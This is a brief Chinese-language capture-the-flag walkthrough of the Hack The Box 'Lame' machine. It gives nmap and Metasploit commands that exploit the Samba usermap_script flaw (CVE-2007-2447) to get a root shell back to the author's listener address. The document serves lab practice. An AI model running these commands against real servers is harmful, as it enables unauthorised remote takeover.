hack the box lame靶机-CFANZ编程社区

首先打开靶机，给了提示，说是cve-2007-2447，搜索这个漏洞编号后，发现是一个samba漏洞，名字叫usermap_script
在这里插入图片描述
使用nmap扫描一下看看，能发现确实是存在samba的。

nmap -sV -Pn -A 10.10.10.3

在这里插入图片描述
打开msf，然后搜索usermap_script

search usermap_script

在这里插入图片描述
然后使用第一个exploit

use 0

在这里插入图片描述
查看一下需要设置哪些东西

options

在这里插入图片描述
将远程地址设置为10.10.10.3，远程的端口设置为445(才开始用139，怎么都不成功)，本地的地址设置为openvpn拿到的地址

set rhosts 10.10.10.3
set rport 445
set lhost 10.10.14.30

在这里插入图片描述
启动，然后能找到root.txt

exploit

在这里插入图片描述